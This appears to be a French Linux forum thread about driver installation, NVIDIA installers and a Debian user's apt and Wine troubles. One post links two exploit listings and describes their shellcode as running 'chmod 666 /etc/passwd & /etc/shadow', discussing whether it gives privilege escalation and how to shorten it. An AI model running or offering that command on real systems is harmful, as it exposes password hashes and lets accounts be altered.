Maintenant l'install de pilote sous linux c'est du facile. Ca se fait tout seul. Et quand bien même quelques pilotes te feront mettre les mains dans le cambouis, ça voudra dire qu'il n'existeront plus pour windows. (genre les scanner à port parallèle qui sont mort avec Win98 car personne n'a voulu sortir les pilotes) Alors que mon Epson GT5000 fonctionne encore très bien avec Sane (il faut juste éditer un petit fichier de conf et lui mettre l'adresse du port)
Bon là mon GT5000 prend quand même sa retraite aujourd'hui car je recois un petit jeune en usb par la poste. Ayant updaté mon PC sous linux, il n'a plus de port parallèle.

[war-p]

Maintenant l'install de pilote sous linux c'est du facile. Ca se fait tout seul. Et quand bien même quelques pilotes te feront mettre les mains dans le cambouis, ça voudra dire qu'il n'existeront plus pour windows. (genre les scanner à port parallèle qui sont mort avec Win98 car personne n'a voulu sortir les pilotes) Alors que mon Epson GT5000 fonctionne encore très bien avec Sane (il faut juste éditer un petit fichier de conf et lui mettre l'adresse du port)
Bon là mon GT5000 prend quand même sa retraite aujourd'hui car je recois un petit jeune en usb par la poste. Ayant updaté mon PC sous linux, il n'a plus de port parallèle.

T'es sous ubuntu?

EDIT : Je viens d'aller voir sur le site de nvidia, et oh, putain ouais, ils sont passé à des .run moisis... Il faut toujours avoir les sources de son kernel et le pilote correspondant d'ailleurs ou pas?

[Tramb]

Dans la même veine que précédemment http://1337day.com/exploits/19101 http://1337day.com/exploits/19100

Comprends pas, en lisant l'asm a priori je pense que c'est juste un shellcode assez court pour faire le "chmod 666 /etc/passwd & /etc/shadow" mais je ne vois pas en quoi il y aurait une escalation.
Bon, si t'arrives à faire exécuter ça à un service en root et que t'as un compte sur la machine, tu peux accéder aux fichiers derrière.

Edit: y'a ptête moyen de faire plus court en recyclant les parties de la pile communes aux deux invocations

[moimadmax]

oui
Mais je pense naivement que c'est a peu près pareil pour toutes les distribs.
Mais un gestionnaire de programme c'est juste super bien au quotidien. Et je pense que c'est pour cela que Windows8 viendra avec son Market.

[DarzgL]

T'es sous ubuntu?

EDIT : Je viens d'aller voir sur le site de nvidia, et oh, putain ouais, ils sont passé à des .run moisis... Il faut toujours avoir les sources de son kernel et le pilote correspondant d'ailleurs ou pas?

Sous Ubuntu y'a pas besoin de ça, tu as un utilitaire qui peut télécharger et installer automatiquement les pilotes nv/ati. J'imagine qu'il n'est pas présent sur toutes les distribs par contre.

[moimadmax]

Il me semblait que les pilotes faisaient partient des paquets debian et que le gestionnaire de pilote était juste un truc pour trouver les pilotes nécessaires et installer les bons paquets. En gros que ça faisait partie de l'univers Debian.

[Zeppo]

Bonjour les amis.

Dîtes, ça fait longtemps que j'ai pas touché à mon linux et je m'y sens perdu, et là j'ai un problème assez idiot mais je ne vois pas comment le résoudre.
Bref, j'ai besoin d'un paquet (ia32-libs-gtk) car il contient ce qui me manque (libgtk-x11-2.0.so.0)
Alors je fais apt-get install ia32-libs-gtk , ça dit que ça trouve, que ça télécharge, puis ça me dit :
Changement de support : veuillez insérer le disque
« Debian GNU/Linux 6.0.4 _Squeeze_ - Official amd64 DVD Binary-1 20120128-13:42 »
dans le lecteur « /media/cdrom/ » et appuyez sur la touche Entrée

Et mon cd, il a dû disparaître dans les tourments de la vie, dans les remous de mon destin. Et je ne peux pas le retélécharger car ma connexion est très mauvaise, je suis sur le Wifi Sfr public. Donc pas de torrent possible non plus. (Et vraiment pas le courage de faire un tunnel ssh pour passer par le port 443, c'est au-delà de mon 3ème oeil)
Donc si quelqu'un avait une solution pour que je n'ai pas à mettre le cd, ce serait vraiment cool !
Merci d'avance.

Edit : Ah et je n'arrive plus à lancer un jeu (avec Wine). Avant, ça fonctionnait très bien, maintenant quand je clique sur l'exécutable, a ne fait rien. Je lance depuis le terminal et ça me dit que "bash: /home/zero/.wine/drive_c/Program Files/1C Company/Space Rangers 2 - Reboot Add-on/Rangers.exe: Permission non accordée"
Pourtant je suis déjà en superutilisateur. Et quand je tape "su" dans le terminal, ça ne fait rien...

[ducon]

Pour le paquet, va faire un tour dans /etc/apt/sources.list, débute les lignes idoines avec un # et vérifie que tu as bien accès à des serveurs externes comme deb http://ftp.fr.debian.org/debian testing main contrib non-free ou autres.